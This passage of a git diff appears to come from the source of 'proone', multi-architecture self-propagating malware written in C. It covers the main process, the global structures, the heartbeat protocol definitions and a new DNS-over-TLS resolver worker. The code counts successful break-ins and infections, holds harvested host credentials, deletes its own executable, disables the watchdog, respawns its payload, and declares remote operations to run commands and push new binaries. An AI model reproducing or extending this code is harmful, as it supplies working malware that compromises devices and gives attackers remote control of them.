(lstat(proc_fd_path, &st) < 0) { - abort(); - } - - real_shm_path = prne_malloc(1, st.st_size + 1); - if (readlink(proc_fd_path, real_shm_path, st.st_size) != st.st_size) { - abort(); - } - - fchmod(prne_g.ny_bin_shm_fd, 0777); - close(prne_g.ny_bin_shm_fd); - prne_g.ny_bin_shm_fd = -1; - - args[0] = proc_fd_path; - if (execv(real_shm_path, (char *const*)args) < 0) { - abort(); - } } -static void init_ssl (void) { - if (mbedtls_x509_crt_parse(&prne_g.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) != 0) { - return; - } - - prne_g.s_ssl_ready = - mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && - mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 && - mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 && - mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 && - mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 && - mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0; - if (prne_g.s_ssl_ready) { - mbedtls_ssl_conf_ca_chain(&prne_g.s_ssl.conf, &prne_g.ca, NULL); - } - - prne_g.c_ssl_ready = - mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && - mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 && - mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 && - mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0; - if (prne_g.c_ssl_ready) { - mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ca, NULL); +static void seed_ssl_rnd (const uint8_t *seed, const size_t slen) { + if (mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, seed, slen) != 0) { + mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, NULL, 0); } } -static void init_shared_global (prne_rnd_engine_t *rnd) { +static void init_shared_global (void) { // just die on error - const size_t str_len = 1 + 10; + const size_t str_len = 1 + 30; int fd; char *name; name = prne_malloc(1, str_len + 1); name[0] = '/'; name[str_len] = 0; - prne_rnd_anum_str(rnd, name + 1, str_len - 1); + prne_rnd_anum_str(&prne_g.ssl.rnd, name + 1, str_len - 1); fd = shm_open(name, O_RDWR | O_CREAT | O_TRUNC, 0000); if (fd < 0) { @@ -509,60 +383,63 @@ static void init_shared_global (prne_rnd_engine_t *rnd) { if (prne_s_g == NULL) { abort(); } - close(fd); + prne_close(fd); prne_s_g->bne_cnt = 0; prne_s_g->infect_cnt = 0; - prne_s_g->has_ny_bin = false; } int main (const int argc, char **args) { - int exit_code = 0; - prne_rnd_engine_t *rnd = NULL; + static int exit_code = 0; + static int exit_pipe[2] = { -1, -1 }; prne_g.host_cred_data = NULL; prne_g.host_cred_size = 0; - prne_g.ny_bin_shm_name = NULL; - prne_g.rnd = NULL; memset(&prne_g.god_start, 0, sizeof(struct timespec)); prne_g.run_cnt = 0; + prne_g.resolv = NULL; + prne_g.god_exit_evt = -1; prne_g.caught_signal = 0; prne_g.god_pid = getpid(); prne_g.proone_pid = 0; prne_g.lock_shm_fd = -1; - prne_g.ny_bin_shm_fd = -1; prne_g.bin_ready = false; + prne_g.is_child = false; prne_init_unpack_bin_archive_result(&prne_g.bin_pack); prne_init_bin_archive(&prne_g.bin_archive); - mbedtls_x509_crt_init(&prne_g.ca); + mbedtls_x509_crt_init(&prne_g.ssl.ca); + mbedtls_entropy_init(&prne_g.ssl.entpy); + mbedtls_ctr_drbg_init(&prne_g.ssl.rnd); mbedtls_ssl_config_init(&prne_g.s_ssl.conf); mbedtls_x509_crt_init(&prne_g.s_ssl.crt); mbedtls_pk_init(&prne_g.s_ssl.pk); mbedtls_dhm_init(&prne_g.s_ssl.dhm); - prne_g.s_ssl_ready = false; + prne_g.s_ssl.ready = false; mbedtls_ssl_config_init(&prne_g.c_ssl.conf); mbedtls_x509_crt_init(&prne_g.c_ssl.crt); mbedtls_pk_init(&prne_g.c_ssl.pk); - prne_g.c_ssl_ready = false; + prne_g.c_ssl.ready = false; // inits that need no outside resources prne_init_dvault(); - init_ssl(); set_env(); + if (pipe(exit_pipe) == 0) { + prne_set_pipe_size(exit_pipe[0], 1); + prne_ok_or_die(fcntl(exit_pipe[0], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(exit_pipe[1], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(exit_pipe[0], F_SETFD, FD_CLOEXEC)); + prne_ok_or_die(fcntl(exit_pipe[1], F_SETFD, FD_CLOEXEC)); + prne_g.god_exit_evt = exit_pipe[0]; + } /* inits that need outside resources. IN THIS ORDER! */ - if (!ensure_single_instance()) { - exit_code = 1; - goto END; - } - rnd = mk_rnd_engine(); - init_shared_global(rnd); - create_ny_bin_shm(rnd); + load_ssl_conf(); + seed_ssl_rnd(NULL, 0); + init_shared_global(); delete_myself(args[0]); disasble_watchdog(); - print_ready_signature(rnd); read_host_credential(); // get fed with the bin archive prne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO); @@ -570,9 +447,21 @@ int main (const int argc, char **args) { prne_g.bin_ready = prne_index_bin_archive(&prne_g.bin_pack, &prne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK; } + if (!ensure_single_instance()) { + exit_code = 1; + goto END; + } + + // done with the terminal + prne_close(STDIN_FILENO); + prne_close(STDOUT_FILENO); +#ifndef PRNE_DEBUG + prne_close(STDERR_FILENO); +#endif + setup_signal_actions(); - prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start)); + prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start)); // main loop while (prne_g.caught_signal == 0) { @@ -582,11 +471,8 @@ int main (const int argc, char **args) { prne_g.run_cnt += 1; } - if (prne_g.proone_pid < 0) { - sleep(1); - } - else if (prne_g.proone_pid > 0) { - int status; + if (prne_g.proone_pid > 0) { + static int status; while (prne_g.caught_signal == 0) { if (waitpid(prne_g.proone_pid, &status, 0) < 0) { @@ -597,29 +483,36 @@ int main (const int argc, char **args) { continue; } } - - prne_g.proone_pid = 0; break; } - if (!WIFEXITED(status)) { - sleep(3); - continue; + if (WIFEXITED(status)) { + if (WEXITSTATUS(status) == 0) { + break; + } +#ifdef PRNE_DEBUG + fprintf(stderr, "* child process %d exited with code %d!\n", prne_g.proone_pid, WEXITSTATUS(status)); +#endif } - if (WEXITSTATUS(status) == 0) { - break; + else if (WIFSIGNALED(status)) { +#ifdef PRNE_DEBUG + fprintf(stderr, "* child process %d received signal %d!\n", prne_g.proone_pid, WTERMSIG(status)); +#endif } + + sleep(1); } else { - prne_free(prne_g.ny_bin_shm_name); - close(prne_g.lock_shm_fd); + prne_close(prne_g.lock_shm_fd); prne_g.lock_shm_fd = -1; - prne_g.ny_bin_shm_name = NULL; + prne_g.is_child = true; + seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY)); exit_code = proone_main(); break; } } + prne_g.proone_pid = 0; END: prne_free_bin_archive(&prne_g.bin_archive); @@ -630,12 +523,14 @@ END: mbedtls_x509_crt_free(&prne_g.s_ssl.crt); mbedtls_pk_free(&prne_g.s_ssl.pk); mbedtls_dhm_free(&prne_g.s_ssl.dhm); - prne_g.s_ssl_ready = false; + prne_g.s_ssl.ready = false; mbedtls_ssl_config_free(&prne_g.c_ssl.conf); mbedtls_x509_crt_free(&prne_g.c_ssl.crt); mbedtls_pk_free(&prne_g.c_ssl.pk); - prne_g.c_ssl_ready = false; - mbedtls_x509_crt_free(&prne_g.ca); + prne_g.c_ssl.ready = false; + mbedtls_x509_crt_free(&prne_g.ssl.ca); + mbedtls_ctr_drbg_free(&prne_g.ssl.rnd); + mbedtls_entropy_free(&prne_g.ssl.entpy); prne_free(prne_g.host_cred_data); prne_g.host_cred_data = NULL; @@ -644,50 +539,15 @@ END: if (prne_g.lock_shm_fd >= 0) { shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL)); prne_dvault_reset_dict(); - close(prne_g.lock_shm_fd); + prne_close(prne_g.lock_shm_fd); prne_g.lock_shm_fd = -1; } prne_deinit_dvault(); - prne_free_rnd_engine(rnd); - rnd = NULL; - - - if (prne_s_g->has_ny_bin) { - exec_ny_bin(); - } - - if (prne_g.ny_bin_shm_name != NULL) { - shm_unlink(prne_g.ny_bin_shm_name); - prne_free(prne_g.ny_bin_shm_name); - } - close(prne_g.ny_bin_shm_fd); - prne_g.ny_bin_shm_name = NULL; - prne_g.ny_bin_shm_fd = -1; + write(exit_pipe[1], &exit_code, sizeof(int)); + prne_close(exit_pipe[0]); + prne_close(exit_pipe[1]); return exit_code; } - -static prne_rnd_engine_t *mk_rnd_engine (void) { - uint32_t seed = 0; - prne_rnd_engnie_alloc_result_t ret; - - getrandom(&seed, sizeof(uint32_t), 0); - - if (seed == 0) { - // fall back to seeding with what's available. - seed = - (uint32_t)(time(NULL) % 0xFFFFFFFF) ^ - (uint32_t)(getpid() % 0xFFFFFFFF) ^ - (uint32_t)(getppid() % 0xFFFFFFFF) ^ - (uint32_t)(clock() % 0xFFFFFFFF); - } - - ret = prne_alloc_rnd_engine(seed == 0 ? NULL : &seed); - if (ret.result != PRNE_RND_ENGINE_ALLOC_OK) { - abort(); - } - - return ret.engine; -} diff --git a/src/proone.h b/src/proone.h index c5d3a60..967b8ce 100644 --- a/src/proone.h +++ b/src/proone.h @@ -1,5 +1,5 @@ #include "pack.h" -#include "rnd.h" +#include "resolv_worker.h" #include <stdint.h> #include <stdbool.h> @@ -8,35 +8,41 @@ #include <sys/types.h> #include <mbedtls/ssl.h> +#include <mbedtls/entropy.h> +#include <mbedtls/ctr_drbg.h> struct prne_global { uint8_t *host_cred_data; size_t host_cred_size; - char *ny_bin_shm_name; - prne_rnd_engine_t *rnd; struct timespec god_start; - uint64_t run_cnt; + uint_fast64_t run_cnt; + prne_resolv_wkr_ctx_t resolv; + int god_exit_evt; int caught_signal; pid_t god_pid; pid_t proone_pid; int lock_shm_fd; - int ny_bin_shm_fd; bool bin_ready; - bool s_ssl_ready; - bool c_ssl_ready; + bool is_child; prne_unpack_bin_archive_result_t bin_pack; prne_bin_archive_t bin_archive; - mbedtls_x509_crt ca; struct { + mbedtls_x509_crt ca; + mbedtls_entropy_context entpy; + mbedtls_ctr_drbg_context rnd; + } ssl; + struct { + bool ready; mbedtls_ssl_config conf; mbedtls_x509_crt crt; mbedtls_pk_context pk; mbedtls_dhm_context dhm; } s_ssl; struct { + bool ready; mbedtls_ssl_config conf; mbedtls_x509_crt crt; mbedtls_pk_context pk; @@ -45,12 +51,14 @@ struct prne_global { struct prne_shared_global { // "break and entry" count. Number of successful logins. - uint64_t bne_cnt; + uint_fast64_t bne_cnt; // Number of successful infections. - uint64_t infect_cnt; - bool has_ny_bin; + uint_fast64_t infect_cnt; }; +static const intptr_t PRNE_RESOLV_WKR_ID = 0; +static const intptr_t PRNE_HTBT_WKR_ID = 1; + extern struct prne_global prne_g; extern struct prne_shared_global *prne_s_g; diff --git a/src/protocol.c b/src/protocol.c index f063835..4e1da40 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -1,7 +1,11 @@ #include "protocol.h" + #include <string.h> -const char *prne_arch2str (const prne_arch_t x) { +#include <arpa/inet.h> + + +const char *prne_arch_tostr (const prne_arch_t x) { switch (x){ case PRNE_ARCH_ARMV4T: return "armv4t"; @@ -30,40 +34,64 @@ const char *prne_arch2str (const prne_arch_t x) { return NULL; } -prne_arch_t prne_str2arch (const char *str) { - if (strcmp(str, prne_arch2str(PRNE_ARCH_ARMV4T)) == 0) { +prne_arch_t prne_arch_fstr (const char *str) { + if (strcmp(str, prne_arch_tostr(PRNE_ARCH_ARMV4T)) == 0) { return PRNE_ARCH_ARMV4T; } - else if (strcmp(str, prne_arch2str(PRNE_ARCH_ARMV7)) == 0) { + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_ARMV7)) == 0) { return PRNE_ARCH_ARMV7; } - else if (strcmp(str, prne_arch2str(PRNE_ARCH_I686)) == 0) { + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_I686)) == 0) { return PRNE_ARCH_I686; } - else if (strcmp(str, prne_arch2str(PRNE_ARCH_M68K)) == 0) { + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_M68K)) == 0) { return PRNE_ARCH_M68K; } - else if (strcmp(str, prne_arch2str(PRNE_ARCH_MIPS)) == 0) { + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_MIPS)) == 0) { return PRNE_ARCH_MIPS; } - else if (strcmp(str, prne_arch2str(PRNE_ARCH_MPSL)) == 0) { + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_MPSL)) == 0) { return PRNE_ARCH_MPSL; } - else if (strcmp(str, prne_arch2str(PRNE_ARCH_PPC)) == 0) { + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_PPC)) == 0) { return PRNE_ARCH_PPC; } - else if (strcmp(str, prne_arch2str(PRNE_ARCH_RV32)) == 0) { + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_RV32)) == 0) { return PRNE_ARCH_RV32; } - else if (strcmp(str, prne_arch2str(PRNE_ARCH_RV64)) == 0) { + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_RV64)) == 0) { return PRNE_ARCH_RV64; } - else if (strcmp(str, prne_arch2str(PRNE_ARCH_SH4)) == 0) { + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_SH4)) == 0) { return PRNE_ARCH_SH4; } - else if (strcmp(str, prne_arch2str(PRNE_ARCH_SPC)) == 0) { + else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_SPC)) == 0) { return PRNE_ARCH_SPC; } return PRNE_ARCH_NONE; } + +void prne_net_ep_tosin4 (const prne_net_endpoint_t *ep, struct sockaddr_in *out) { + memcpy(&out->sin_addr, ep->addr.addr, 4); + out->sin_family = AF_INET; + out->sin_port = htons(ep->port); +} + +void prne_net_ep_tosin6 (const prne_net_endpoint_t *ep, struct sockaddr_in6 *out) { + memcpy(&out->sin6_addr, ep->addr.addr, 16); + out->sin6_family = AF_INET6; + out->sin6_port = htons(ep->port); +} + +bool prne_net_ep_set_ipv4 (const char *str, const uint16_t port, prne_net_endpoint_t *out) { + out->port = port; + out->addr.ver = PRNE_IPV_4; + return inet_pton(AF_INET, str, &out->addr.addr) != 0; +} + +bool prne_net_ep_set_ipv6 (const char *str, const uint16_t port, prne_net_endpoint_t *out) { + out->port = port; + out->addr.ver = PRNE_IPV_6; + return inet_pton(AF_INET6, str, &out->addr.addr) != 0; +} diff --git a/src/protocol.h b/src/protocol.h index 5928d9e..8e9540d 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -1,8 +1,19 @@ #pragma once #include "util_ct.h" +#include <stdint.h> #include <stddef.h> +#include <stdbool.h> +#include <netinet/in.h> + + +typedef struct prne_net_endpoint prne_net_endpoint_t; +typedef struct prne_ip_addr prne_ip_addr_t; +typedef struct prne_htbt_host_info prne_htbt_host_info_t; +typedef struct prne_htbt_pkt prne_htbt_pkt_t; +typedef struct prne_htbt_cmd prne_htbt_cmd_t; +typedef struct prne_htbt_bin_head prne_htbt_bin_head_t; typedef enum { PRNE_ARCH_NONE = -1, @@ -23,6 +34,122 @@ typedef enum { } prne_arch_t; PRNE_LIMIT_ENUM(prne_arch_t, NB_PRNE_ARCH, 0xFF); +typedef enum { + PRNE_IPV_NONE, + PRNE_IPV_4, + PRNE_IPV_6 +} prne_ipv_t; + +_Static_assert(sizeof(struct in_addr) == 4, "sizeof(struct in_addr) == 4"); +_Static_assert(sizeof(struct in6_addr) == 16, "sizeof(struct in6_addr) == 16"); +struct prne_ip_addr { + uint8_t addr[16]; + prne_ipv_t ver; +}; + +struct prne_net_endpoint { + prne_ip_addr_t addr; + uint16_t port; +}; + +typedef enum { + PRNE_HTBT_OP_NONE, + + PRNE_HTBT_OP_PING, + PRNE_HTBT_OP_HOST_INFO, + PRNE_HTBT_OP_HOVER, + PRNE_HTBT_OP_RUN_CMD, + PRNE_HTBT_OP_NY_BIN, + PRNE_HTBT_OP_RUN_BIN, + + NB_PRNE_HTBT_OP +} prne_htbt_op_t; +PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFF); + +typedef enum { + PRNE_HTBT_RSPC_OK, + PRNE_HTBT_RSPC_PROTO_ERR, // followed by nothing + PRNE_HTBT_RSPC_OP_ERR, // followed by int32_t + + NB_PRNE_HTBT_RSPC +} prne_htbt_rspc_t; +PRNE_LIMIT_ENUM(prne_htbt_rspc_t, NB_PRNE_HTBT_RSPC, 0xFF); + +typedef enum { + PRNE_HTBT_SER_RET_OK, + PRNE_HTBT_SER_RET_MORE_MEM, + PRNE_HTBT_SER_RET_FMT_ERR, +} prne_htbt_serialise_ret_t; + +typedef enum { + PRNE_HTBT_DESER_RET_OK, + PRNE_HTBT_DESER_RET_MORE_DATA, + PRNE_HTBT_DESER_RET_MEM_ERR, + PRNE_HTBT_DESER_RET_FMT_ERR, +} prne_htbt_deserialise_ret_t; + +struct prne_htbt_pkt { + uint16_t id; // != 0 + uint8_t code; +}; + +struct prne_htbt_host_info { + char prog_ver[37]; + uint64_t uptime; + uint64_t rerun_cnt; + uint64_t bne_cnt; + uint64_t infect_cnt; + uint32_t god_pid; + uint32_t proone_pid; + uint8_t *cred_data; // (uint8_t)salt + ((uint8_t)id_len + (uint8_t)pw_len + str ...) + uint16_t cred_data_len; // < 1 + 2 + 255*2 + prne_arch_t arch; +}; + +struct prne_htbt_cmd { + char *mem; + size_t *offset_arr; + uint8_t argc; +}; + +struct prne_htbt_bin_head { + size_t bin_size; + prne_htbt_cmd_t cmd; +}; + +static const size_t PRNE_HTBT_PROTO_MIN_BUF = 0; +static const uint16_t PRNE_HTBT_PROTO_PORT = 0; +static const size_t PRNE_HTBT_PROTO_TIMEOUT = 0; + + +const char *prne_arch_tostr (const prne_arch_t x); +prne_arch_t prne_arch_fstr (const char *str); + +void prne_net_ep_tosin4 (const prne_net_endpoint_t *ep, struct sockaddr_in *out); +void prne_net_ep_tosin6 (const prne_net_endpoint_t *ep, struct sockaddr_in6 *out); +bool prne_net_ep_set_ipv4 (const char *str, const uint16_t port, prne_net_endpoint_t *out); +bool prne_net_ep_set_ipv6 (const char *str, const uint16_t port, prne_net_endpoint_t *out); + +void prne_htbt_init_pkt (prne_htbt_pkt_t *pkt); +void prne_htbt_init_host_into (prne_htbt_host_info_t *hi); +void prne_htbt_alloc_host_into (prne_htbt_host_info_t *hi, const uint16_t cred_data_len); +void prne_htbt_free_host_into (prne_htbt_host_info_t *hi); +void prne_htbt_init_cmd (prne_htbt_cmd_t *cmt); +void prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmt, const uint8_t argc, const uint16_t total_str_len); +void prne_htbt_free_cmd (prne_htbt_cmd_t *cmt); +void prne_htbt_init_bin_head (prne_htbt_bin_head_t *nb); +void prne_htbt_free_bin_head (prne_htbt_bin_head_t *nb); + +// prne_htbt_serialise_ret_t prne_htbt_serialise_ (uint8_t *mem, const size_t mem_len, size_t *actual, const something_t *in); +prne_htbt_serialise_ret_t prne_htbt_serialise_pkt (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_pkt_t *in); +prne_htbt_serialise_ret_t prne_htbt_serialise_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in); +prne_htbt_serialise_ret_t prne_htbt_serialise_int32 (uint8_t *mem, const size_t mem_len, size_t *actual, const int32_t in); +prne_htbt_serialise_ret_t prne_htbt_serialise_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in); +prne_htbt_serialise_ret_t prne_htbt_serialise_bin_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_head_t *in); -const char *prne_arch2str (const prne_arch_t x); -prne_arch_t prne_str2arch (const char *str); +// prne_htbt_deserialise_ret_t prne_htbt_deserialise_ (const uint8_t *data, const size_t len, size_t *actual, something_t *out); +prne_htbt_deserialise_ret_t prne_htbt_deserialise_pkt (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_pkt_t *out); +prne_htbt_deserialise_ret_t prne_htbt_deserialise_host_info (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out); +prne_htbt_deserialise_ret_t prne_htbt_deserialise_int32 (const uint8_t *data, const size_t len, size_t *actual, int32_t *out); +prne_htbt_deserialise_ret_t prne_htbt_deserialise_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out); +prne_htbt_deserialise_ret_t prne_htbt_deserialise_bin_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_head_t *out); diff --git a/src/resolv_worker.c b/src/resolv_worker.c new file mode 100644 index 0000000..d5bc19d --- /dev/null +++ b/src/resolv_worker.c @@ -0,0 +1,1453 @@ +#include "resolv_worker.h" +#include "util_rt.h" +#include "llist.h" +#include "imap.h" +#include "protocol.h" +#include "mbedtls.h" + +#include <stdlib.h> +#include <string.h> +#include <assert.h> + +#include <errno.h> +#include <unistd.h> +#include <fcntl.h> +#include <sys/random.h> +#include <sys/socket.h> +#include <sys/ioctl.h> +#include <arpa/inet.h> +#include <netinet/in.h> +#include <netinet/tcp.h> + +#include <mbedtls/ssl.h> +#include <mbedtls/ctr_drbg.h> + +_Static_assert(sizeof(uint_fast16_t) <= sizeof(prne_imap_key_type_t), "prne_imap cannot contain uint_fast16_t"); + +#define OK_OR_ERR(v) if (v < 0) { goto ERR; } + +typedef enum { + RESOLV_WKR_STATE_OK, + RESOLV_WKR_STATE_FIN_CALLED, + RESOLV_WKR_STATE_FINALISED, +} resolv_wkr_state_t; + +typedef enum { + RESOLV_CTX_STATE_NONE, + RESOLV_CTX_STATE_CONN, + RESOLV_CTX_STATE_HNDSHK, + RESOLV_CTX_STATE_READY, + RESOLV_CTX_STATE_CLOSING, +} resolv_ctx_state_t; + +typedef struct { + prne_net_endpoint_t *arr; + size_t cnt; + size_t ptr; +} resolv_dnssrv_pool_t; + +typedef struct { + prne_resolv_wkr_ctx_t wkr; + prne_llist_entry_t *qlist_ent; + char *qname; + size_t qname_size; + int evtfd[2]; + prne_wkr_timeout_slot_pt to_slot; + uint_fast16_t qid; // 0 reserved + prne_resolv_fut_t fut; + prne_ipv_t ipv; + prne_resolv_query_type_t type; +} query_entry_t; + +struct prne_resolv_wkr_ctx { + int dnss_fd[2]; + int evtfd[2]; + size_t read_cnt_len; + size_t write_cnt_len; + prne_wkr_sched_req_t *wsr; + prne_wkr_timeout_slot_pt sckop_to_slot; + prne_wkr_timeout_slot_pt err_to_slot; + prne_wkr_pollfd_slot_pt evt_pfd_slot; + prne_wkr_pollfd_slot_pt sck_pfd_slot[2]; + int act_dns_fd; + resolv_dnssrv_pool_t dnssrv_4, dnssrv_6; + resolv_ctx_state_t ctx_state; + resolv_wkr_state_t wkr_state; + uint8_t write_buf[514]; + uint8_t read_buf[514]; + prne_llist_t qlist; + prne_imap_t qid_map; // uint16_t:q_ent(could be null) + struct { + mbedtls_ssl_config conf; + mbedtls_ssl_context ctx; + mbedtls_ctr_drbg_context *ctr_drbg; + } ssl; +}; + +#define DECL_CTX_PTR(p) prne_resolv_wkr_ctx_t ctx = (prne_resolv_wkr_ctx_t)p + +static const struct timespec RESOLV_RSRC_ERR_PAUSE = { 1, 0 }; // 1s +static const struct timespec RESOLV_CONN_ERR_PAUSE = { 0, 100000000 }; // 100ms +static const struct timespec RESOLV_QUERY_TIMEOUT = { 15, 0 }; // 15s +static const struct timespec RESOLV_SCK_OP_TIMEOUT = { 10, 0 }; // 10s +static const struct timespec RESOLV_SCK_IDLE_TIMEOUT = { 15, 0 }; // 15s +static const struct timespec RESOLV_SCK_CLOSE_TIMEOUT = { 1, 0 }; // 1s +static const size_t RESOLV_PIPELINE_SIZE = 4; + +static bool resolv_wkr_has_finalised (void *p) { + DECL_CTX_PTR(p); + return ctx->wkr_state == RESOLV_WKR_STATE_FINALISED; +} + +static int resolv_set_cmn_fd_opt (const int fd) { + return fcntl(fd, F_SETFL, O_NONBLOCK) == 0 ? fcntl(fd, F_SETFD, FD_CLOEXEC) : -1; +} + +static void resolv_free_q_ent (query_entry_t *q_ent) { + if (q_ent == NULL) { + return; + } + + prne_free(q_ent->qname); + prne_free_resolv_fut(&q_ent->fut); + prne_close(q_ent->evtfd[0]); + prne_close(q_ent->evtfd[1]); + prne_free_wkr_timeout_slot(q_ent->to_slot); + + prne_free(q_ent); +} + +static bool resolv_gen_qname (const char *name, char **out, size_t *out_size) { + size_t len = strlen(name); + char *ptr = (char*)name, *delim; + char *end = ptr + len; + size_t label_size; + char *ret_ptr; + size_t ret_size; + + if (len == 0) { + errno = EINVAL; + return false; + } + if (name[len - 1] != '.') { + len += 1; + } + if (len > 255) { + errno = EINVAL; + return false; + } + for (; *name != 0; name += 1) { + if (((uint_fast8_t)*name & 0xC0) == 0xC0) { + errno = EINVAL; + return false; + } + } + + ret_ptr = (char*)prne_malloc(1, len + 1); + if (ret_ptr == NULL) { + return false; + } + + ret_size = 0; + while (ptr < end) { + delim = strchr(ptr, '.'); + if (delim == NULL) { + delim = strchr(ptr, 0); + } + + label_size = delim - ptr; + if (label_size == 0 || label_size > 63) { + errno = EINVAL; + goto ERR; + } + + ret_ptr[ret_size] = (uint8_t)label_size; + memcpy(ret_ptr + ret_size + 1, ptr, label_size); + ret_size += 1 + label_size; + ptr = delim + 1; + } + ret_ptr[ret_size] = 0; + ret_size += 1; + + *out = prne_realloc(ret_ptr, 1, ret_size); + if (*out == NULL) { + *out = ret_ptr; + } + *out_size = ret_size; + + return true; +ERR: + prne_free(ret_ptr); + return false; +} + +char *resolv_qname_tostr (const char *qname) { + char *ret, *p, *end; + const size_t qname_size = strlen(qname) + 1; + size_t label_len; + + ret = p = (char*)prne_malloc(1, qname_size); + if (p == NULL) { + return NULL; + } + memcpy(p, qname, qname_size); + end = p + qname_size; + + while (p < end) { + label_len = *p; + if (label_len == 0) { + break; + } + else if (p + label_len > end) { + goto ERR; + } + + memmove(p, p + 1, label_len); + p[label_len] = '.'; + p += label_len + 1; + } + + return ret; +ERR: + prne_free(ret); + return NULL; +} + +static bool resolv_qq (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_prm_t *out, const struct timespec *timeout, query_entry_t **ny_q_ent) { + query_entry_t *q_ent = NULL; + + if (resolv_wkr_has_finalised(wkr)) { + errno = ECANCELED; + return false; + } + + q_ent = (query_entry_t*)prne_malloc(sizeof(query_entry_t), 1); + if (q_ent == NULL) { + goto ERR; + } + q_ent->wkr = wkr; + q_ent->qlist_ent = NULL; + q_ent->qname = NULL; + q_ent->qname_size = 0; + q_ent->evtfd[0] = q_ent->evtfd[1] = -1; + q_ent->to_slot = NULL; + q_ent->qid = 0; + q_ent->ipv = PRNE_IPV_NONE; + prne_init_resolv_fut(&q_ent->fut); + + if (!resolv_gen_qname(name, &q_ent->qname, &q_ent->qname_size)) { + goto ERR; + } + + q_ent->qlist_ent = prne_llist_append(&wkr->qlist, q_ent); + if (q_ent->qlist_ent == NULL) { + goto ERR; + } + + OK_OR_ERR(pipe(q_ent->evtfd)); + prne_set_pipe_size(q_ent->evtfd[0], 1); + OK_OR_ERR(resolv_set_cmn_fd_opt(q_ent->evtfd[0])); + OK_OR_ERR(resolv_set_cmn_fd_opt(q_ent->evtfd[1])); + + if (write(wkr->evtfd[1], &q_ent, 1) < 0) { + prne_die_not_nonblock_err(); + } + + q_ent->to_slot = prne_alloc_wkr_timeout_slot(wkr->wsr); + if (q_ent == NULL) { + goto ERR; + } + q_ent->to_slot->active = true; + q_ent->to_slot->dur = RESOLV_QUERY_TIMEOUT; + + out->ctx = q_ent; + out->fut = &q_ent->fut; + out->evtfd = q_ent->evtfd[0]; + *ny_q_ent = q_ent; + + return true; +ERR: + if (q_ent != NULL) { + prne_llist_erase(&wkr->qlist, q_ent->qlist_ent); + prne_free(q_ent->qname); + prne_close(q_ent->evtfd[0]); + prne_close(q_ent->evtfd[1]); + + prne_free(q_ent); + } + + return false; +} + +static void resolv_disown_qent (query_entry_t *qent) { + uint8_t rubbish = 0; + + prne_free_wkr_timeout_slot(qent->to_slot); + qent->to_slot = NULL; + qent->wkr = NULL; + qent->qlist_ent = NULL; + qent->qid = 0; + + if (write(qent->evtfd[1], &rubbish, 1) < 0) { + prne_die_not_nonblock_err(); + } +} + +#if 0 +static void resolv_disown_all_qent (prne_resolv_wkr_ctx_t ctx) { + query_entry_t *qent; + prne_llist_entry_t *cur; + size_t i; + + cur = 